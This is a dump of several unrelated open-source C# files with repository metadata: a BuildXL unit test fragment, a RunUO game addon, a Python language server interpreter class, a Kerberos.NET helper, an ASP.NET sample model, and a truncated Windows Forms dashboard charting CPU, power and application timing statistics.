Assert.Equal(strings[i], readString); } } stream.Position = 0; var pt2 = new PathTable(); var st2 = pt2.StringTable; AbsolutePath.Create(pt2, A("d")); AbsolutePath.Create(pt2, A("x","dir", "buildxl", "file.txt")); using (var reader = new InliningReader(stream, pt2)) { for (int i = 0; i < paths.Length; i++) { var readPath = reader.ReadAbsolutePath(); var readString = reader.ReadStringId(); Assert.Equal(paths[i].ToString(pt).ToUpperInvariant(), readPath.ToString(pt2).ToUpperInvariant()); Assert.Equal(strings[i].ToString(st), readString.ToString(st2)); } } } } } }
35.447059
123
0.450714
[ "MIT" ]
AzureMentor/BuildXL
Public/Src/Utilities/UnitTests/Utilities/InliningWriterTests.cs
3,022
C#
using System; using Server; namespace Server.Items { public class StoneOvenSouthAddon : BaseAddon { public override BaseAddonDeed Deed{ get{ return new StoneOvenSouthDeed(); } } [Constructable] public StoneOvenSouthAddon() { AddComponent( new AddonComponent( 0x931 ), -1, 0, 0 ); AddComponent( new AddonComponent( 0x930 ), 0, 0, 0 ); } public StoneOvenSouthAddon( Serial serial ) : base( serial ) { } public override void Serialize( GenericWriter writer ) { base.Serialize( writer ); writer.Write( (int) 0 ); // version } public override void Deserialize( GenericReader reader ) { base.Deserialize( reader ); int version = reader.ReadInt(); } } public class StoneOvenSouthDeed : BaseAddonDeed { public override BaseAddon Addon{ get{ return new StoneOvenSouthAddon(); } } public override int LabelNumber{ get{ return 1044346; } } // stone oven (south) [Constructable] public StoneOvenSouthDeed() { } public StoneOvenSouthDeed( Serial serial ) : base( serial ) { } public override void Serialize( GenericWriter writer ) { base.Serialize( writer ); writer.Write( (int) 0 ); // version } public override void Deserialize( GenericReader reader ) { base.Deserialize( reader ); int version = reader.ReadInt(); } } }
20.5625
81
0.68465
[ "BSD-2-Clause" ]
greeduomacro/vivre-uo
Scripts/Items/Addons/StoneOvenSouthAddon.cs
1,316
C#
// Copyright(c) Microsoft Corporation // All rights reserved. // // Licensed under the Apache License, Version 2.0 (the License); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at http://www.apache.org/licenses/LICENSE-2.0 // // THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS // OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY // IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, // MERCHANTABILITY OR NON-INFRINGEMENT. // // See the Apache Version 2.0 License for specific language governing // permissions and limitations under the License. using System; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; using Microsoft.Python.Analysis.Core.Interpreter; using Microsoft.Python.Analysis.Modules; using Microsoft.Python.Analysis.Modules.Resolution; using Microsoft.Python.Analysis.Specializations.Typing; using Microsoft.Python.Analysis.Types; using Microsoft.Python.Analysis.Values; using Microsoft.Python.Core; using Microsoft.Python.Core.Collections; using Microsoft.Python.Core.Services; using Microsoft.Python.Parsing; namespace Microsoft.Python.Analysis.Analyzer { /// <summary> /// Describes Python interpreter associated with the analysis. /// </summary> public sealed class PythonInterpreter : IPythonInterpreter { private MainModuleResolution _moduleResolution; private TypeshedResolution _stubResolution; private IPythonType _unknownType; private readonly object _lock = new object(); private readonly Dictionary<BuiltinTypeId, IPythonType> _builtinTypes = new Dictionary<BuiltinTypeId, IPythonType>(); private PythonInterpreter(InterpreterConfiguration configuration) { Configuration = configuration ?? throw new ArgumentNullException(nameof(configuration)); LanguageVersion = Configuration.Version.ToLanguageVersion(); } private async Task InitializeAsync( string root, IServiceManager sm, string typeshedPath, ImmutableArray<string> userConfiguredPaths, CancellationToken cancellationToken ) { cancellationToken.ThrowIfCancellationRequested(); sm.AddService(this); _moduleResolution = new MainModuleResolution(root, sm, userConfiguredPaths); _stubResolution = new TypeshedResolution(typeshedPath, sm); await _stubResolution.ReloadAsync(cancellationToken); await _moduleResolution.ReloadAsync(cancellationToken); } public static async Task<IPythonInterpreter> CreateAsync( InterpreterConfiguration configuration, string root, IServiceManager sm, string typeshedPath = null, ImmutableArray<string> userConfiguredPaths = default, CancellationToken cancellationToken = default ) { var pi = new PythonInterpreter(configuration); await pi.InitializeAsync(root, sm, typeshedPath, userConfiguredPaths, cancellationToken); // Specialize typing TypingModule.Create(sm); return pi; } /// <summary> /// Interpreter configuration. /// </summary> public InterpreterConfiguration Configuration { get; } /// <summary> /// Python language version. /// </summary> public PythonLanguageVersion LanguageVersion { get; } /// <summary> /// Module resolution service. /// </summary> public IModuleManagement ModuleResolution => _moduleResolution; /// <summary> /// Stub resolution service. /// </summary> public IModuleResolution TypeshedResolution => _stubResolution; /// <summary> /// Unknown type. /// </summary> public IPythonType UnknownType { get { lock (_lock) { var type = _unknownType; if (type != null) { return type; } _unknownType = new PythonType("Unknown", new Location(_moduleResolution.BuiltinsModule), string.Empty); _builtinTypes[BuiltinTypeId.Unknown] = _unknownType; return _unknownType; } } } /// <summary> /// Gets a well known built-in type such as int, list, dict, etc... /// </summary> /// <param name="id">The built-in type to get</param> /// <returns>An IPythonType representing the type.</returns> /// <exception cref="KeyNotFoundException"> /// The requested type cannot be resolved by this interpreter. /// </exception> public IPythonType GetBuiltinType(BuiltinTypeId id) { if (id < 0 || id > BuiltinTypeIdExtensions.LastTypeId) { throw new KeyNotFoundException("(BuiltinTypeId)({0})".FormatInvariant((int)id)); } lock (_lock) { if (id == BuiltinTypeId.Unknown) { return UnknownType; } if (_builtinTypes.TryGetValue(id, out var type) && type != null) { return type; } var bm = _moduleResolution.BuiltinsModule; var typeName = id.GetTypeName(LanguageVersion); if (typeName != null) { type = _moduleResolution.BuiltinsModule.GetMember(typeName) as IPythonType; } if (type == null) { type = bm.GetAnyMember("__{0}__".FormatInvariant(id)) as IPythonType; if (type == null) { return UnknownType; } } _builtinTypes[id] = type; return type; } } } }
37.66875
125
0.617057
[ "Apache-2.0" ]
AlexanderSher/python-language-server
src/Analysis/Ast/Impl/Analyzer/PythonInterpreter.cs
6,029
C#
using System; using System.Security.Cryptography.Asn1; namespace Kerberos.NET.Entities { /// <summary> /// A utility class to detect message properties /// </summary> public static class KrbMessage { /// <summary> /// Determine if the message is a Kerberos Type /// </summary> /// <param name="message">The message to examine</param> /// <returns>Returns the possible <see cref="MessageType"/></returns> public static MessageType DetectMessageType(ReadOnlyMemory<byte> message) { var tag = PeekTag(message); return DetectMessageType(tag); } internal static MessageType DetectMessageType(Asn1Tag tag) { if (tag.TagClass != TagClass.Application) { throw new KerberosProtocolException($"Unknown incoming tag {tag}"); } var messageType = (MessageType)tag.TagValue; return messageType; } internal static Asn1Tag PeekTag(ReadOnlyMemory<byte> request) { AsnReader reader = new AsnReader(request, AsnEncodingRules.DER); return reader.PeekTag(); } } }
28.162791
83
0.59455
[ "MIT" ]
ericlaw1979/Kerberos.NET
Kerberos.NET/Entities/Krb/KrbMessage.cs
1,213
C#
// Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; namespace TagHelpersWebSite.Models { public class WebsiteContext { public Version Version { get; set; } public int CopyrightYear { get; set; } public bool Approved { get; set; } public int TagsToShow { get; set; } } }
25.833333
111
0.675269
[ "Apache-2.0" ]
ardalis/Mvc
test/WebSites/TagHelpersWebSite/Models/WebsiteContext.cs
467
C#
using System; using System.Drawing; using System.Windows.Forms; using System.Collections.Generic; using System.Text.RegularExpressions; using System.Windows.Forms.DataVisualization.Charting; using System.Globalization; namespace Orchestration_Studio.GUI { delegate void SetChartApp(List<Classes.AppData> appstats); delegate void SetChartSys(List<Classes.SysData> sysstats); delegate void SetChartCPU(List<Classes.CPUData> cpustats); delegate void ToolTipText(object sender, ToolTipEventArgs e); public partial class Main : Form { public static int selectedView = 0; public static int selectedView1 = 0; public static int selectedView2 = 0; List<GUI.UserControl1> registeredApplications; List<GUI.UserControl2> registeredStatistics; public Main() { InitializeComponent(); registeredApplications = new List<UserControl1>(); registeredStatistics = new List<UserControl2>(); registeredStatistics.Add(new UserControl2("CPU A57 Raw Usage:", "0%")); registeredStatistics.Add(new UserControl2("CPU A53 Raw Usage:", "0%")); registeredStatistics.Add(new UserControl2("CPU A57 Filtered Usage:", "0%")); registeredStatistics.Add(new UserControl2("CPU A53 Filtered Usage:", "0%")); registeredStatistics.Add(new UserControl2("CPUs Raw Average Usage:", "0%")); registeredStatistics.Add(new UserControl2("CPUs Filtered Average Usage:", "0%")); registeredStatistics.Add(new UserControl2("CPU A57 Raw Power:", "0uW")); registeredStatistics.Add(new UserControl2("CPU A53 Raw Power:", "0uW")); registeredStatistics.Add(new UserControl2("CPU A57 Filtered Power:", "0uW")); registeredStatistics.Add(new UserControl2("CPU A53 Filtered Power:", "0uW")); registeredStatistics.Add(new UserControl2("CPU A57 Raw Current:", "0mA")); registeredStatistics.Add(new UserControl2("CPU A53 Raw Current:", "0mA")); registeredStatistics.Add(new UserControl2("CPU A57 Filtered Current:", "0mA")); registeredStatistics.Add(new UserControl2("CPU A53 Filtered Current:", "0mA")); flowLayoutPanel1.VerticalScroll.Visible = true; flowLayoutPanel1.HorizontalScroll.Visible = false; for (int i = 0; i < registeredStatistics.Count; i++) flowLayoutPanel2.Controls.Add(registeredStatistics[i]); Classes.Helper.SetChartInitState(chart1, "ChartArea1", "Average Elapsed Time (ms)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 2); Classes.Helper.SetChartInitState(chart2, "ChartArea1", "Microwatt (uW)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 5); Classes.Helper.SetChartInitState(chart3, "ChartArea1", "Milliampere (uA)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds",5); Classes.Helper.SetChartInitState(chart4, "CPU-bIG", "Utilization %", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 0, 100, 25); Classes.Helper.SetChartInitState(chart4, "CPU-Little", "Utilization %", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 0, 100, 25); Classes.Helper.SetChartInitState(chart5, "ChartArea1", "Real-Time Elapsed Time (ms)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 2); Classes.Helper.SetChartInitState(chart6, "ChartArea1", "Average Goal Error (ms)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 2); Classes.Helper.SetChartInitState(chart7, "ChartArea1", "Real-Time Goal Error (ms)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 2); Classes.Helper.SetChartInitState(chart8, "ChartArea1", "Absolute Goal Divergence (ms)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 2); Classes.Helper.SetChartInitState(chart9, "ChartArea1", "Milliwatt (mW)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds",5); Classes.Helper.SetChartInitState(chart10, "CPU-bIG", "Normalized Utilization %", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 0, 100, 25); Classes.Helper.SetChartInitState(chart10, "CPU-Little", "Normalized Utilization %", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 0, 100, 25); Classes.Helper.SetChartInitState(chart11, "CPU-bIG", "N/d C/t Utilization %", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 0, 100, 25); Classes.Helper.SetChartInitState(chart11, "CPU-Little", "N/d A/e Utilization %", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds", 0, 100, 25); Classes.Helper.SetChartInitState(chart13, "ChartArea1", "Milliampere (mA)", "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds",5); chart4.Series[0].Color = Color.FromArgb(200, 10, 20); chart10.Series[0].Color = Color.FromArgb(200, 10, 20); chart11.Series[0].Color = Color.FromArgb(200, 10, 20); splitContainer3.SplitterDistance = splitContainer3.Width - 287; UpdateSelectedView(); UpdateSelectedView1(); UpdateSelectedView2(); } private void Main_Load(object sender, EventArgs e) { } public void UpdateSelectedView1() { panel13.Visible = selectedView1 == 0 ? true : false; panel14.Visible = selectedView1 == 0 ? false : true; label8.Text = selectedView1 == 0 ? "Raw Power Consumption" : "Kalman Filtered Power Consumption"; } public void UpdateSelectedView2() { panel15.Visible = selectedView2 == 0 ? true : false; panel16.Visible = selectedView2 == 0 ? false : true; label13.Text = selectedView2 == 0 ? "Raw Current Consumption" : "Kalman Filtered Current Consumption"; } public void UpdateSelectedView() { if (selectedView== 0) { label7.Text = "Average Elapsed Time"; panel3.Visible = true; panel4.Visible = false; panel5.Visible = false; panel6.Visible = false; panel7.Visible = false; } if (selectedView == 1) { label7.Text = "Real-Time Elapsed Time"; panel3.Visible = false; panel4.Visible = true; panel5.Visible = false; panel6.Visible = false; panel7.Visible = false; } if (selectedView == 2) { label7.Text = "Average Goal Error"; panel3.Visible = false; panel4.Visible = false; panel5.Visible = true; panel6.Visible = false; panel7.Visible = false; } if (selectedView == 3) { label7.Text = "Real-Time Goal Error"; panel3.Visible = false; panel4.Visible = false; panel5.Visible = false; panel6.Visible = true; panel7.Visible = false; } if (selectedView == 4) { label7.Text = "Absolute Goal Divergence"; panel3.Visible = false; panel4.Visible = false; panel5.Visible = false; panel6.Visible = false; panel7.Visible = true; } } private void startToolStripMenuItem_Click(object sender, EventArgs e) { if (startToolStripMenuItem.Text == "Execute") { try { string rep = Program.shellStream.Expect(new Regex(@"[$>]")); //expect user prompt Program.shellStream.WriteLine("sudo orchestration-service"); rep = Program.shellStream.Expect(new Regex(@"([$#>:])")); //expect password or user prompt if (rep.Contains(":")) Program.shellStream.WriteLine(Program.password); toolStripStatusLabel5.Text = "Running"; toolStripStatusLabel5.ForeColor = Color.Green; Program.watcher.Initialize(); Program.watcher.Connect(); Program.watcher.Execute(); startToolStripMenuItem.Text = "Stop"; } catch (Exception) { (new GUI.Error()).ShowDialog(); } } else { Program.watcher.Disconnect(); toolStripStatusLabel5.Text = "Not Running"; toolStripStatusLabel5.ForeColor = Color.Red; startToolStripMenuItem.Text = "Execute"; } } public void UpdateAppsGADChart(List<Classes.AppData> statsList) { if (this.chart8.InvokeRequired) { SetChartApp d = new SetChartApp(UpdateAppsGADChart); this.Invoke(d, new object[] { statsList }); } else { int points = Classes.Helper.maxPoint(chart8) + 1; for (int i = 0; i < statsList.Count * 2; i = i + 2) { if (chart8.Series.IndexOf(statsList[i / 2].name + " - Current") == -1) { chart8.Series.Add(statsList[i / 2].name + " - Current"); chart8.Series.Add(statsList[i / 2].name + " - Goal"); chart8.Series[statsList[i / 2].name + " - Goal"].ChartType = SeriesChartType.Line; chart8.Series[statsList[i / 2].name + " - Current"].ChartType = SeriesChartType.Line; chart8.Series[statsList[i / 2].name + " - Goal"].BorderWidth = 1; chart8.Series[statsList[i / 2].name + " - Current"].BorderWidth = 2; chart8.Series[statsList[i / 2].name + " - Goal"].BorderDashStyle = ChartDashStyle.Dot; } chart8.Series[statsList[i / 2].name + " - Current"].Points.AddXY(points, statsList[i / 2].offset); chart8.Series[statsList[i / 2].name + " - Goal"].Points.AddXY(points, statsList[i / 2].initgoal); if (chart8.ChartAreas[0].AxisX.Maximum >= 100) chart8.ChartAreas[0].AxisX.ScaleView.Scroll(chart8.ChartAreas[0].AxisX.Maximum); } chart8.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; } } public void UpdateAppsCGEChart(List<Classes.AppData> statsList) { if (this.chart7.InvokeRequired) { SetChartApp d = new SetChartApp(UpdateAppsCGEChart); this.Invoke(d, new object[] { statsList }); } else { int points = Classes.Helper.maxPoint(chart7) + 1; for (int i = 0; i < statsList.Count ; i++) { if (chart7.Series.IndexOf(statsList[i].name + " - Error") == -1) { chart7.Series.Add(statsList[i ].name + " - Error"); chart7.Series[statsList[i ].name + " - Error"].ChartType = SeriesChartType.Line; chart7.Series[statsList[i ].name + " - Error"].BorderWidth = 1; } chart7.Series[statsList[i].name + " - Error"].Points.AddXY(points, statsList[i ].errorcurrent); if (chart7.ChartAreas[0].AxisX.Maximum >= 100) chart7.ChartAreas[0].AxisX.ScaleView.Scroll(chart7.ChartAreas[0].AxisX.Maximum); } chart7.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; } } public void UpdateAppsAGEChart(List<Classes.AppData> statsList) { if (this.chart6.InvokeRequired) { SetChartApp d = new SetChartApp(UpdateAppsAGEChart); this.Invoke(d, new object[] { statsList }); } else { int points = Classes.Helper.maxPoint(chart6) + 1; for (int i = 0; i < statsList.Count ; i++) { if (chart6.Series.IndexOf(statsList[i].name + " - Error") == -1) { chart6.Series.Add(statsList[i ].name + " - Error"); chart6.Series[statsList[i ].name + " - Error"].ChartType = SeriesChartType.Line; chart6.Series[statsList[i ].name + " - Error"].BorderWidth = 1; } chart6.Series[statsList[i].name + " - Error"].Points.AddXY(points, statsList[i].erroraverage); if (chart6.ChartAreas[0].AxisX.Maximum >= 100) chart6.ChartAreas[0].AxisX.ScaleView.Scroll(chart6.ChartAreas[0].AxisX.Maximum); } chart6.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; } } public void UpdateAppsCTChart(List<Classes.AppData> statsList) { if (this.chart5.InvokeRequired) { SetChartApp d = new SetChartApp(UpdateAppsCTChart); this.Invoke(d, new object[] { statsList }); } else { int points = Classes.Helper.maxPoint(chart5) + 1; for (int i = 0; i < statsList.Count * 2; i = i + 2) { if (chart5.Series.IndexOf(statsList[i / 2].name + " - Current") == -1) { chart5.Series.Add(statsList[i / 2].name + " - Current"); chart5.Series.Add(statsList[i / 2].name + " - Goal"); chart5.Series[statsList[i / 2].name + " - Goal"].ChartType = SeriesChartType.Line; chart5.Series[statsList[i / 2].name + " - Current"].ChartType = SeriesChartType.Line; chart5.Series[statsList[i / 2].name + " - Goal"].BorderWidth = 1; chart5.Series[statsList[i / 2].name + " - Current"].BorderWidth = 2; } chart5.Series[statsList[i / 2].name + " - Current"].Points.AddXY(points, statsList[i / 2].currentms); chart5.Series[statsList[i / 2].name + " - Goal"].Points.AddXY(points, statsList[i / 2].goal); if (chart5.ChartAreas[0].AxisX.Maximum >= 100) chart5.ChartAreas[0].AxisX.ScaleView.Scroll(chart5.ChartAreas[0].AxisX.Maximum); } chart5.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; } } public void UpdateSysChart(List<Classes.SysData> statsList) { if (this.chart9.InvokeRequired || this.chart3.InvokeRequired) { SetChartSys d = new SetChartSys(UpdateSysChart); this.Invoke(d, new object[] { statsList }); } else { for (int i = 0; i < statsList.Count; i++) { if (statsList[i].name.Contains("POWER")) { if (chart9.Series.IndexOf(statsList[i].name) == -1) { chart9.Series.Add(statsList[i].name); chart9.Series[statsList[i].name].ChartType = SeriesChartType.Line; chart9.Series[statsList[i].name].BorderWidth = 2; } double value= Classes.Helper.ConvertToValue(statsList[i].kdata); chart9.Series[statsList[i].name].Points.AddXY(chart9.Series[statsList[i].name].Points.Count, value); if (chart9.ChartAreas[0].AxisX.Maximum >= 100) chart9.ChartAreas[0].AxisX.ScaleView.Scroll(chart9.ChartAreas[0].AxisX.Maximum); if (chart2.Series.IndexOf(statsList[i].name) == -1) { chart2.Series.Add(statsList[i].name); chart2.Series[statsList[i].name].ChartType = SeriesChartType.Line; chart2.Series[statsList[i].name].BorderWidth = 2; } double value1 = Classes.Helper.ConvertToValue(statsList[i].data); chart2.Series[statsList[i].name].Points.AddXY(chart2.Series[statsList[i].name].Points.Count, value1); if (chart2.ChartAreas[0].AxisX.Maximum >= 100) chart2.ChartAreas[0].AxisX.ScaleView.Scroll(chart2.ChartAreas[0].AxisX.Maximum); if(statsList[i].name.Contains("BIG") || statsList[i].name.Contains("LITTLE")) foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPU A57 Raw Power:" && statsList[i].name.Contains("BIG")) control.UpdateValue(string.Format("{0:0.00}", Classes.Helper.ConvertToValue(statsList[i].data)) + "mW"); else if (control.getLabel() == "CPU A57 Filtered Power:" && statsList[i].name.Contains("BIG")) control.UpdateValue(string.Format("{0:0.00}", value) + "mW"); else if (control.getLabel() == "CPU A53 Raw Power:" && statsList[i].name.Contains("LITTLE")) control.UpdateValue(string.Format("{0:0.00}", Classes.Helper.ConvertToValue(statsList[i].data)) + "mW"); else if (control.getLabel() == "CPU A53 Filtered Power:" && statsList[i].name.Contains("LITTLE")) control.UpdateValue(string.Format("{0:0.00}", value) + "mW"); } } chart9.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; chart2.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; for (int i = 0; i < statsList.Count; i++) { if (statsList[i].name.Contains("CURR")) { if (chart3.Series.IndexOf(statsList[i].name) == -1) { chart3.Series.Add(statsList[i].name); chart3.Series[statsList[i].name].ChartType = SeriesChartType.Line; chart3.Series[statsList[i].name].BorderWidth = 2; } double value = Classes.Helper.ConvertToValue(statsList[i].data); chart3.Series[statsList[i].name].Points.AddXY(chart3.Series[statsList[i].name].Points.Count, value); if (chart3.ChartAreas[0].AxisX.Maximum >= 100) chart3.ChartAreas[0].AxisX.ScaleView.Scroll(Classes.Helper.maxPoint(chart3)); if (chart13.Series.IndexOf(statsList[i].name) == -1) { chart13.Series.Add(statsList[i].name); chart13.Series[statsList[i].name].ChartType = SeriesChartType.Line; chart13.Series[statsList[i].name].BorderWidth = 2; } double value1 = Classes.Helper.ConvertToValue(statsList[i].kdata); chart13.Series[statsList[i].name].Points.AddXY(chart13.Series[statsList[i].name].Points.Count, value1); if (chart13.ChartAreas[0].AxisX.Maximum >= 100) chart13.ChartAreas[0].AxisX.ScaleView.Scroll(Classes.Helper.maxPoint(chart13)); if (statsList[i].name.Contains("BIG") || statsList[i].name.Contains("LITTLE")) foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPU A57 Raw Current:" && statsList[i].name.Contains("BIG")) control.UpdateValue(string.Format("{0:0.00}", Classes.Helper.ConvertToValue(statsList[i].data)) + "mA"); else if (control.getLabel() == "CPU A57 Filtered Current:" && statsList[i].name.Contains("BIG")) control.UpdateValue(string.Format("{0:0.00}", value) + "mA"); else if (control.getLabel() == "CPU A53 Raw Current:" && statsList[i].name.Contains("LITTLE")) control.UpdateValue(string.Format("{0:0.00}", Classes.Helper.ConvertToValue(statsList[i].data)) + "mA"); else if (control.getLabel() == "CPU A53 Filtered Current:" && statsList[i].name.Contains("LITTLE")) control.UpdateValue(string.Format("{0:0.00}", value) + "mA"); } } chart3.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; chart13.ChartAreas["ChartArea1"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; } } public void UpdateCPUChart(List<Classes.CPUData> cpuList) { if (this.chart4.InvokeRequired) { SetChartCPU d = new SetChartCPU(UpdateCPUChart); this.Invoke(d, new object[] { cpuList }); } else { chart4.ChartAreas["CPU-bIG"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; chart4.ChartAreas["CPU-Little"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; for (int i = 0; i < cpuList.Count; i++) { if (cpuList[i].name.Contains("cpu0")) { double value = Classes.Helper.ConvertToValue(cpuList[i].rtvalue); chart4.Series[0].Points.AddXY(chart4.Series[0].Points.Count, value); if (chart4.ChartAreas[0].AxisX.Maximum >= 100) chart4.ChartAreas[0].AxisX.ScaleView.Scroll(chart4.ChartAreas[0].AxisX.Maximum); foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPU A57 Raw Usage:") control.UpdateValue(string.Format("{0:0.00}", value) + "%"); } else if(cpuList[i].name.Contains("cpu1")) { double value = Classes.Helper.ConvertToValue(cpuList[i].rtvalue); chart4.Series[1].Points.AddXY(chart4.Series[1].Points.Count, value); if (chart4.ChartAreas[1].AxisX.Maximum >= 100) chart4.ChartAreas[1].AxisX.ScaleView.Scroll(chart4.ChartAreas[1].AxisX.Maximum); foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPU A53 Raw Usage:") control.UpdateValue(string.Format("{0:0.00}", value) + "%"); } } } } public void UpdateAPUChart(List<Classes.CPUData> cpuList) { if (this.chart10.InvokeRequired) { SetChartCPU d = new SetChartCPU(UpdateAPUChart); this.Invoke(d, new object[] { cpuList }); } else { chart10.ChartAreas["CPU-bIG"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; chart10.ChartAreas["CPU-Little"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; for (int i = 0; i < cpuList.Count; i++) { if (cpuList[i].name.Contains("cpu0")) { double value = Classes.Helper.ConvertToValue(cpuList[i].avvalue); chart10.Series[0].Points.AddXY(chart10.Series[0].Points.Count, value); if (chart10.ChartAreas[0].AxisX.Maximum >= 100) chart10.ChartAreas[0].AxisX.ScaleView.Scroll(chart10.ChartAreas[0].AxisX.Maximum); foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPU A57 Filtered Usage:") control.UpdateValue(string.Format("{0:0.00}", value) + "%"); } else if (cpuList[i].name.Contains("cpu1")) { double value = Classes.Helper.ConvertToValue(cpuList[i].avvalue); chart10.Series[1].Points.AddXY(chart10.Series[1].Points.Count, value); if (chart10.ChartAreas[1].AxisX.Maximum >= 100) chart10.ChartAreas[1].AxisX.ScaleView.Scroll(chart10.ChartAreas[1].AxisX.Maximum); foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPU A53 Filtered Usage:") control.UpdateValue(string.Format("{0:0.00}", value) + "%"); } } } } public void UpdateNPUChart(List<Classes.CPUData> cpuList) { if (this.chart11.InvokeRequired) { SetChartCPU d = new SetChartCPU(UpdateNPUChart); this.Invoke(d, new object[] { cpuList }); } else { chart11.ChartAreas["CPU-bIG"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; chart11.ChartAreas["CPU-Little"].AxisX.Title = "Current Sampling Rate: " + Program.watcher.statsRefreshRate + " milliseconds"; for (int i = 0; i < cpuList.Count; i++) { if (cpuList[i].name.Contains("cpuAll")) { double value = Classes.Helper.ConvertToValue(cpuList[i].rtvalue); double value1 = Classes.Helper.ConvertToValue(cpuList[i].avvalue); chart11.Series[0].Points.AddXY(chart11.Series[0].Points.Count, value); if (chart11.ChartAreas[0].AxisX.Maximum >= 100) chart11.ChartAreas[0].AxisX.ScaleView.Scroll(chart11.ChartAreas[0].AxisX.Maximum); chart11.Series[1].Points.AddXY(chart11.Series[1].Points.Count, value1); if (chart11.ChartAreas[1].AxisX.Maximum >= 100) chart11.ChartAreas[1].AxisX.ScaleView.Scroll(chart11.ChartAreas[1].AxisX.Maximum); foreach (UserControl2 control in registeredStatistics) if (control.getLabel() == "CPUs Raw Average Usage:") control.UpdateValue(string.Format("{0:0.00}", value) + "%"); else if(control.getLabel() == "CPUs Filtered Average Usage:") control.UpdateValue(string.Format("{0:0.00}", value1) + "%"); } } } } public void UpdateAppsChart(List<Classes.AppData> statsList) { if (this.chart1.InvokeRequired) { SetChartApp d = new SetChartApp(UpdateAppsChart); this.Invoke(d, new object[] { statsList }); } else { int points = Classes.Helper.maxPoint(chart1) + 1; for (int i = 0; i < statsList.Count * 4; i = i + 4) { if (chart1.Series.IndexOf("AV["+statsList[i / 4].name + "]") == -1) { chart1.Palette = ChartColorPalette.None; chart1.Series.Add("AV[" + statsList[i / 4].name + "]"); chart1.Series.Add("GL[" + statsList[i / 4].name + "]"); chart1.Series.Add("MN[" + statsList[i / 4].name + "]"); chart1.Series.Add("MX[" + statsList[i / 4].name + "]"); chart1.Series["GL[" + statsList[i / 4].name + "]"].ChartType = SeriesChartType.Line; chart1.Series["AV[" + statsList[i / 4].name + "]"].ChartType = SeriesChartType.Line; chart1.Series["MN[" + statsList[i / 4].name + "]"].ChartType = SeriesChartType.Line; chart1.Series["MX[" + statsList[i / 4].name + "]"].ChartType = SeriesChartType.Line; chart1.Series["GL[" + statsList[i / 4].name + "]"].BorderWidth = 1; chart1.Series["AV[" + statsList[i / 4].name + "]"].BorderWidth = 2; chart1.Series["MN[" + statsList[i / 4].name + "]"].BorderWidth = 1; chart1.Series["MX[" + statsList[i / 4].name + "]"].BorderWidth = 1; chart1.Series["GL[" + statsList[i / 4].name + "]"].BorderDashStyle = ChartDashStyle.Dash; chart1.Series["MN[" + statsList[i / 4].name + "]"].BorderDashStyle = ChartDashStyle.Dot; chart1.Series["MX[" + statsList[i / 4].name + "]"].BorderDashStyle = ChartDashStyle.Dot; chart1.Series["MX[" + statsList[i / 4].name + "]"].Color = chart1.Series["MX[" + statsList[i / 4].name + "]"].Color; chart1.Series["MN[" + statsList[i / 4].name + "]"].Color = chart1.Series["MN[" + statsList[i / 4].name + "]"].Color; chart1.Series["GL[" + statsList[i / 4].name + "]"].Color = chart1.Series["GL[" + statsList[i / 4].name + "]"].Color; chart1.Series["AV[" + statsList[i / 4].name + "]"].Color = chart1.Series["AV[" + statsList[i / 4].name + "]"].Color; } if (chart1.Series["AV[" + statsList[i / 4].name + "]"].Points.Count < points - 1) while (chart1.Series["AV[" + statsList[i / 4].name + "]"].Points.Count != points - 1) chart1.Series["AV[" + statsList[i / 4].name + "]"].Points.AddXY(chart1.Series["AV[" + statsList[i / 4].name + "]"].Points.Count, 0); if (chart1.Series["GL[" + statsList[i / 4].name + 